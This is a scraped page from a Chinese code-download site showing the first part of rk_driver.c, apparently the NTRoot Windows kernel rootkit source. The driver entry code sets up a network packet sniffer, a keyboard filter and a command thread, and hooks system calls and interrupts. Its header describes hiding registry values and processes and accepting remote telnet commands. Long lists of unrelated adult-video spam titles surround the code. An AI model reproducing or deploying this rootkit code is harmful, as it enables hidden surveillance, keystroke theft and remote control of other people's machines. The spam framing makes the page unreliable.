亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? rk_driver.c

?? 能夠在windows 2000以上操作系統下隱藏特定的進程
?? C
?? 第 1 頁 / 共 2 頁
字號:

/**********************************************************************************
 * NTRoot
 * Version 0.1a
 * Greg Hoglund
 *
 * June 1, 1999      - Greg Hoglund - fixed a bunch of cruft
 * June 3, 1999      - Greg Hoglund - will still BSOD if you attempt to UNLOAD the
 *                               driver.. leaving this issue for now, just don't 
 *                               unload, I think it's related to NDIS, but not sure.
 *                               ** adding PsCreateSystemProcess() call
 * July 29, 1999     - Greg Hoglund
 *				     - OnUnload crashes on NdisDeregisterProtocol. - still not fixed
 *			         - added ethernet header to returned buffer, so
 *		             - RogueX client can read entire raw packets now.
 *				     - cleaned up code & split into several source files
 *
 * October 10, 1999  - Greg Hoglund
 *				     - adding system service table code ;-)
 * October 26, 1999  - Greg Hoglund
 *                   - added interrupt descriptor table patch //kickin'//
 * November 22, 1999 - modify ReadRegistry() to enum first network key (what a bitch)
 * November 23, 1999 - adding exception handling for easier debugging - I'm tired
 *                   - of BSOD'n my machines.
 *                   - added NDIS event to wait for OnUnload(). (needs testing)
 *					 - current build is locking up win2K boxes - works on NT4.0 (?)
 * December 9, 1999  - Greg Hoglund
 *                   - added numerous call hooks - is now hiding registry values
 *                   - builds/runs on both NT40 & WIN2K, Unload() works flawlessly
 * 
 * Feb 2, 2001       - OK, it has been a LONG time since I worked on this...
 *                     I added a haxored TCP/IP stack so you can telnet to the
 *                     rootkit and made a command-parser.  I added a few commands
 *                     to get started, including 'ps' to list the processes on the
 *                     host.  I added a worker-thread to handle command processing.
 *                     -Greg
 ***********************************************************************************/

#include "rk_driver.h"
#include "rk_packet.h"
#include "rk_defense.h"
#include "rk_command.h"
#include "rk_keyboard.h"
#include "rk_utility.h"
								 
/* ________________________________________________________________________________ 
 . Our driver objects
 . ________________________________________________________________________________ */
PDRIVER_OBJECT	gDriverObjectP;

KSPIN_LOCK		GlobalArraySpinLock;
KSPIN_LOCK		WorkItemSpinLock;
KIRQL			gIrqL;
POPEN_INSTANCE	gOpenInstance = NULL;  /* this is what we will use for notify packets */

char g_command_signal[256];
KEVENT command_signal_event;
KEVENT exec_signal_event;
VOID rootkit_command_thread(PVOID context);
BOOL g_kill_thread = FALSE;
HANDLE gWorkerThread;

// used for network sniffing
PDEVICE_OBJECT 	g_NdisDeviceObject = NULL;

// ----------------------------------------------------------------------
PDEVICE_OBJECT gKbdHookDevice = NULL; //this is a test
//
// The top of the stack before this filter was added.  AKA the location
// to which all IRPS should be directed.
//
PDEVICE_OBJECT  gKbdTopOfStack = NULL;

/////////////////////////////////////////////////////////////////////////////
// we must never unload if there are pending IRP's in our filter queue -
// so this will track how many we have outstanding...
/////////////////////////////////////////////////////////////////////////////
ULONG g_number_of_pending_IRPs = 0;

/* ________________________________________________________________________________
 . NT Rootkit DRIVER ENTRY
 . Setup the NDIS sniffer as well as hook the system service table and interrupts
 . ________________________________________________________________________________ */
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
	/* Network Sniffer related structs */
	NDIS_PROTOCOL_CHARACTERISTICS	aProtocolChar;
	UNICODE_STRING 			aMacDriverName;
	UNICODE_STRING 			aUnicodeDeviceName;
	
	NDIS_HANDLE    	aNdisProtocolHandle;
	NDIS_STRING	aProtoName = NDIS_STRING_CONST("NTRoot");
	
	NDIS_STATUS    	aErrorStatus;
	NDIS_MEDIUM    	aMediumArray=NdisMedium802_3;
	
	UNICODE_STRING  aDriverName;			// DD
	PWSTR			aBindString;			// DD 
	PWSTR          	aExportString;			// DD
	PWSTR          	aBindStringSave;		// DD
	PWSTR          	aExportStringSave;		// DD

	/* our device so we can communicate with user mode */
	PDEVICE_EXTENSION 	aDeviceExtension = NULL;
	WCHAR               aDeviceLinkBuffer[]  = L"\\DosDevices\\Ntroot"; /* the \??\ dir (for users) */
	UNICODE_STRING      aDeviceLinkUnicodeString;
	ULONG				aDevicesCreated = 0;


	NTSTATUS       aStatus = STATUS_SUCCESS;
	POPEN_INSTANCE anOpenP = NULL;
	int i;

	KIRQL aIrqL;
	
	
	DbgPrint("ROOTKIT: DriverEntry called\n");

	InitDefenseSystem();
	SetupCallNumbers();
	GetProcessNameOffset();

	__try
	{
		KeInitializeSpinLock(&GlobalArraySpinLock); /* free me */
		KeInitializeSpinLock(&WorkItemSpinLock); /* free me */

		KeInitializeEvent(&command_signal_event, NotificationEvent, 0);
		KeInitializeEvent(&exec_signal_event, NotificationEvent, 0);

		//Create Queue for work items that need to run in passive level, 
		// and MUST run under some process context (NOT system).
		//
		// The perfect place to work with this queue , will be while intercepting 
		// a system call, because it allways passive, and good chance to be not system process.
		//
		// So in each (?) system call interception (wich happens A LOT) we will check this queue
		// and execute one work item before continue processing the system call.
		InitializeListHead(&ProcessContextWorkQueueHead);
		
		/*
		 * init network sniffer - this is all standard and
		 * documented in the DDK.
		 */
		RtlZeroMemory( &aProtocolChar,
			   sizeof(NDIS_PROTOCOL_CHARACTERISTICS));
		aProtocolChar.MajorNdisVersion            = 3;
		aProtocolChar.MinorNdisVersion            = 0;
		aProtocolChar.Reserved                    = 0;
		aProtocolChar.OpenAdapterCompleteHandler  = OnOpenAdapterDone;
		aProtocolChar.CloseAdapterCompleteHandler = OnCloseAdapterDone;
		aProtocolChar.SendCompleteHandler         = OnSendDone;
		aProtocolChar.TransferDataCompleteHandler = OnTransferDataDone;
		aProtocolChar.ResetCompleteHandler        = OnResetDone;
		aProtocolChar.RequestCompleteHandler      = OnRequestDone;
		aProtocolChar.ReceiveHandler              = OnReceiveStub;
		aProtocolChar.ReceiveCompleteHandler      = OnReceiveDoneStub;
		aProtocolChar.StatusHandler               = OnStatus;
		aProtocolChar.StatusCompleteHandler       = OnStatusDone;
		aProtocolChar.Name                        = aProtoName;

		DbgPrint("ROOTKIT: Registering NDIS Protocol\n");

		NdisRegisterProtocol( &aStatus,
        			  &aNdisProtocolHandle,
        			  &aProtocolChar,
        			  sizeof(NDIS_PROTOCOL_CHARACTERISTICS));

		if (aStatus != NDIS_STATUS_SUCCESS) {
			DbgPrint(("DriverEntry: ERROR NdisRegisterProtocol failed\n"));
			return aStatus;
		}

		
		
		for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) 
		{
        	theDriverObject->MajorFunction[i] = OnStubDispatch;
    	}
		/* ___[ we NEED to register the Unload() function ]___ 
		 . this is how we are able to dynamically unload the
		 . driver 
		 . ___________________________________________________ */ 
		theDriverObject->DriverUnload  = OnUnload; 

		aDriverName.Length = 0;
		aDriverName.Buffer = ExAllocatePool( PagedPool, MAX_PATH_LENGTH ); /* free me */
		aDriverName.MaximumLength = MAX_PATH_LENGTH;
		RtlZeroMemory(aDriverName.Buffer, MAX_PATH_LENGTH);

		/* _______________________________________________________________
		 * get the name of the MAC layer driver 
		 * and the name of the packet driver
		 * HKLM/SYSTEM/CurrentControlSet/Services/TcpIp/Linkage ..
		 * _______________________________________________________________ */
		if (ReadRegistry( &aDriverName ) != STATUS_SUCCESS) {
			goto RegistryError;
		}

		aBindString = aDriverName.Buffer;

		aExportString = ExAllocatePool(PagedPool, MAX_PATH_LENGTH); /* free me */
		RtlZeroMemory(aExportString, MAX_PATH_LENGTH);
		wcscat(aExportString, L"\\Device\\Ntroot"); // visible to user mode

		aBindStringSave   = aBindString;
		aExportStringSave = aExportString;

		while (*aBindString != UNICODE_NULL && *aExportString != UNICODE_NULL) 
		{
			/* for each entry */
			RtlInitUnicodeString( &aMacDriverName, aBindString ); // the /device/ne20001 or whatever..
			RtlInitUnicodeString( &aUnicodeDeviceName, aExportString );
        
			/* MULTI_SZ */
			aBindString   += (aMacDriverName.Length+sizeof(UNICODE_NULL))/sizeof(WCHAR);
			aExportString += (aUnicodeDeviceName.Length+sizeof(UNICODE_NULL))/sizeof(WCHAR);
        
			/* create a device object for this driver */
			aStatus = IoCreateDevice( theDriverObject,
                    				  sizeof(DEVICE_EXTENSION),
                    				  &aUnicodeDeviceName, // usermode export
                    				  FILE_DEVICE_PROTOCOL,
                    				  0,
                    				  FALSE,
                    				  &g_NdisDeviceObject );

			if (aStatus != STATUS_SUCCESS) {
				break;
			}

			/* create a symbolic link for first one*/	
			if(0 == aDevicesCreated){
				//
				// Create a symbolic link that the GUI can specify to gain access
				// to this driver/device
				//
				RtlInitUnicodeString (&aDeviceLinkUnicodeString,
									  aDeviceLinkBuffer );
				aStatus = IoCreateSymbolicLink ( &aDeviceLinkUnicodeString,
												 &aUnicodeDeviceName );
				if (!NT_SUCCESS(aStatus)) {
					DbgPrint (("NTROOT: IoCreateSymbolicLink failed\n"));        
				}
			}
			aDevicesCreated++;
			g_NdisDeviceObject->Flags |= DO_DIRECT_IO;
			aDeviceExtension  =  (PDEVICE_EXTENSION) g_NdisDeviceObject->DeviceExtension;
			aDeviceExtension->DeviceObject = g_NdisDeviceObject;
        
			/* save in extension */
			aDeviceExtension->AdapterName = aMacDriverName;
			if (aDevicesCreated == 1) {
				aDeviceExtension->BindString   = aBindStringSave;
				aDeviceExtension->ExportString = aExportStringSave;
			}
			aDeviceExtension->NdisProtocolHandle = aNdisProtocolHandle;
		}

		//////////////////////////////////////////////////////////////////
		// get our worker thread up and running
		//////////////////////////////////////////////////////////////////
		{
			DbgPrint("thread: creating thread\n");
			PsCreateSystemThread( 	&gWorkerThread,
									(ACCESS_MASK) 0L,
									NULL,
									(HANDLE) 0L,
									NULL,
									rootkit_command_thread,
									NULL);
		}
									
									 

		if (aDevicesCreated > 0)
		{
			//  allocate some memory for the open structure
			anOpenP=ExAllocatePool(NonPagedPool,sizeof(OPEN_INSTANCE)); /* free me */
			if (anOpenP==NULL) {
				// no memory
				// NO IRP -- Irp->IoStatus.Status = STATUS_INSUFFICIENT_RESOURCES;
				return STATUS_INSUFFICIENT_RESOURCES;
			}
			RtlZeroMemory(
				anOpenP,
				sizeof(OPEN_INSTANCE)
				);
			/* we will use the first opened instance to send notify packets */
			gOpenInstance = anOpenP;
			anOpenP->DeviceExtension=aDeviceExtension;

			// init the send buffers we will be using
			NdisAllocatePacketPool(
				&aStatus,
				&anOpenP->mPacketPoolH,
				TRANSMIT_PACKETS,
				sizeof(PACKET_RESERVED));
			if (aStatus != NDIS_STATUS_SUCCESS) {
				ExFreePool(anOpenP);
				// FIXME cleanup
				return STATUS_INSUFFICIENT_RESOURCES;
			}
			/* this is a null function under NT */
			NdisAllocateBufferPool(
				&aStatus,
				&anOpenP->mBufferPoolH,
				TRANSMIT_PACKETS );
			if (aStatus != NDIS_STATUS_SUCCESS) {
				ExFreePool(anOpenP);
				// FIXME
				return STATUS_INSUFFICIENT_RESOURCES;
			}

			/* go ahead and get that NDIS sniffer up */
			//////////////////////////////////////////
			// note: if we don't plan on attaching
			// to the sniffer device from user mode
			// we don't actually need the device
			// at all, perhaps we can forgo the
			// device completely for stealth reasons
			// -greg
			//////////////////////////////////////////
			NdisOpenAdapter(
				&aStatus,
				&aErrorStatus,
				&anOpenP->AdapterHandle,
				&aDeviceExtension->Medium,
				&aMediumArray,
				1,
				aDeviceExtension->NdisProtocolHandle,
				anOpenP,
				&aDeviceExtension->AdapterName,
				0,
				NULL);
			if (aStatus != NDIS_STATUS_PENDING) {
				OnOpenAdapterDone(
					anOpenP,
					aStatus,
					NDIS_STATUS_SUCCESS
					);
				if(NT_SUCCESS(aStatus)){
					DbgPrint(("NdisOpenAdapter returned STATUS_SUCCESS\n"));
					return aStatus;
				}
				else switch(aStatus){
					case STATUS_SUCCESS:
						DbgPrint(("NdisOpenAdapter returned STATUS_SUCCESS\n"));
						break;
					case NDIS_STATUS_PENDING:
						DbgPrint(("NdisOpenAdapter returned NDIS_STATUS_PENDING\n"));
						break;
					case NDIS_STATUS_RESOURCES:
						DbgPrint(("NdisOpenAdapter returned NDIS_STATUS_RESOURCES\n"));
						break;
					case NDIS_STATUS_ADAPTER_NOT_FOUND:
						DbgPrint(("NdisOpenAdapter returned NDIS_STATUS_ADAPTER_NOT_FOUND\n"));
						break;
					case NDIS_STATUS_UNSUPPORTED_MEDIA:
						DbgPrint(("NdisOpenAdapter returned NDIS_STATUS_UNSUPPORTED_MEDIA\n"));
						break;
					case NDIS_STATUS_CLOSING:
						DbgPrint(("NdisOpenAdapter returned NDIS_STATUS_CLOSING\n"));
						break;
					case NDIS_STATUS_OPEN_FAILED:
						DbgPrint(("NdisOpenAdapter returned NDIS_STATUS_OPEN_FAILED\n"));
						break;
				}
			}
		}

	
		/* _______________________________________________________ 
		 . we are now online and sniffing packets
		 . _______________________________________________________ */


		/* _______________________________________________________
		 . Hook our system calls and interrupts now
		 . _______________________________________________________ */
		DbgPrint("rootkit: about to hook systemcalls\n");
		HookSyscalls();
		
		DbgPrint("rootkit: about to hook interrupts\n");
		HookInterrupts();

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
麻豆精品蜜桃视频网站| 欧美日韩mp4| 91精品国产一区二区三区| 日本一区二区免费在线| 亚洲mv在线观看| 99热在这里有精品免费| 日韩欧美黄色影院| 亚洲精品国产一区二区三区四区在线| 免费欧美在线视频| 欧美在线短视频| 国产精品嫩草影院com| 精品一区精品二区高清| 在线精品视频免费播放| 中文字幕在线不卡视频| 国产毛片精品视频| 精品日韩在线一区| 亚洲一区二区在线免费观看视频| 成人国产一区二区三区精品| 欧美电影免费观看高清完整版在 | 国产精品资源站在线| 欧美另类高清zo欧美| 亚洲精品免费播放| 91视频在线观看免费| 国产精品视频一二三区| 国内精品伊人久久久久av影院 | 久久网站热最新地址| 日韩精品三区四区| 欧美日韩中文字幕一区| 一区二区三区四区国产精品| 99久久精品免费看| 亚洲欧洲日产国码二区| 粉嫩13p一区二区三区| 久久综合九色综合97_久久久| 日本一区中文字幕| 91精品国产综合久久精品| 日本视频一区二区| 欧美一级午夜免费电影| 久久精品99久久久| 亚洲精品一区二区精华| 久99久精品视频免费观看| 日韩欧美亚洲另类制服综合在线| 视频一区二区三区中文字幕| 在线不卡一区二区| 青青草成人在线观看| 日韩欧美在线综合网| 久久福利资源站| 久久综合色综合88| 成人污视频在线观看| 中文字幕一区在线| 欧美日韩国产小视频| 日本不卡的三区四区五区| 久久先锋影音av鲁色资源| 粉嫩av一区二区三区粉嫩| ...av二区三区久久精品| 在线区一区二视频| 蜜桃视频免费观看一区| 中文字幕乱码亚洲精品一区 | 国产精品理论片在线观看| 91年精品国产| 亚洲风情在线资源站| 日韩欧美中文一区二区| 成人免费看视频| 一区二区免费视频| 日韩美女天天操| 成人一区二区在线观看| 一区二区三区在线不卡| 欧美va在线播放| 东方欧美亚洲色图在线| 丝袜亚洲精品中文字幕一区| 26uuu欧美日本| 91黄色免费网站| 精品一区二区三区在线观看国产| 国产精品国产自产拍在线| 欧美午夜一区二区三区| 国产在线精品一区二区不卡了 | 久久午夜电影网| 色综合天天天天做夜夜夜夜做| 午夜电影久久久| 欧美国产一区二区| 欧美精品一二三区| 成人深夜福利app| 男女男精品视频| 亚洲精品美国一| 国产亚洲人成网站| 欧美一区二区三区喷汁尤物| 99久久精品99国产精品| 另类小说一区二区三区| 亚洲精品日韩一| 国产日韩欧美精品一区| 欧美一卡二卡在线| 欧美三级电影网站| 99精品国产一区二区三区不卡| 精一区二区三区| 天堂一区二区在线| 亚洲精品免费一二三区| 欧美国产激情一区二区三区蜜月| 欧美一区二区日韩| 欧美日韩成人在线一区| 色婷婷亚洲精品| 99精品热视频| 波波电影院一区二区三区| 激情亚洲综合在线| 日本亚洲免费观看| 午夜久久福利影院| 亚洲综合久久久| 亚洲欧美日韩小说| 国产精品不卡在线| 国产欧美日本一区视频| 久久久一区二区三区| 精品三级av在线| 日韩欧美的一区二区| 911精品产国品一二三产区| 欧美唯美清纯偷拍| 欧美四级电影在线观看| 欧美日韩在线综合| 欧美三级一区二区| 在线成人av影院| 88在线观看91蜜桃国自产| 欧美久久婷婷综合色| 7777精品伊人久久久大香线蕉完整版| 欧美亚洲高清一区二区三区不卡| 色婷婷综合五月| 欧美日韩精品久久久| 制服丝袜中文字幕一区| 538prom精品视频线放| 欧美一区二区三区在| 精品国产乱码久久| 久久久久久久久97黄色工厂| 欧美激情一区二区三区四区| 国产精品久久久久久户外露出 | 日韩一区二区三区在线| 日韩一二在线观看| 久久亚洲综合色| 欧美国产日韩在线观看| 自拍偷拍欧美精品| 亚洲一区二区三区在线看| 午夜精品免费在线| 麻豆免费精品视频| 成人手机电影网| 日本久久一区二区| 日韩一区二区三区四区五区六区| 精品av久久707| 国产精品一线二线三线| 国产成人精品在线看| 亚洲欧美另类久久久精品| 伊人色综合久久天天人手人婷| 性做久久久久久免费观看欧美| 裸体歌舞表演一区二区| hitomi一区二区三区精品| 欧美日韩视频在线第一区| 精品国产网站在线观看| 日本一区二区综合亚洲| 亚瑟在线精品视频| 国产高清久久久| 91国产免费观看| 日韩精品一区二区三区视频在线观看 | 欧美在线看片a免费观看| 日韩一区二区三区av| 国产精品久久网站| 蜜乳av一区二区三区| 色婷婷亚洲精品| 国产婷婷色一区二区三区在线| 一二三四社区欧美黄| 国产酒店精品激情| 欧美群妇大交群中文字幕| 国产精品国产三级国产普通话蜜臀| 亚洲成人第一页| 99久久久精品免费观看国产蜜| 日韩欧美的一区| 午夜一区二区三区在线观看| 东方aⅴ免费观看久久av| 欧美一级理论性理论a| 亚洲欧美日韩一区| 成人性生交大片免费看在线播放 | 一本一道久久a久久精品| 东方aⅴ免费观看久久av| 欧美一级二级在线观看| 中文字幕日韩一区| 国产成人免费在线观看不卡| 日本韩国欧美一区| 精品国产乱码久久久久久久久 | 国产v日产∨综合v精品视频| 91黄视频在线观看| 国产欧美日韩在线观看| 香蕉乱码成人久久天堂爱免费| 国产剧情一区二区| 6080午夜不卡| 亚洲国产成人自拍| 精品一区免费av| 欧美巨大另类极品videosbest| 国产亚洲人成网站| 国产在线视频精品一区| 欧美视频在线一区二区三区| 欧美国产欧美综合| 日韩中文字幕一区二区三区| 久色婷婷小香蕉久久| 宅男噜噜噜66一区二区66| 亚洲精品高清视频在线观看| 久久精品国产亚洲一区二区三区| 日韩一区和二区|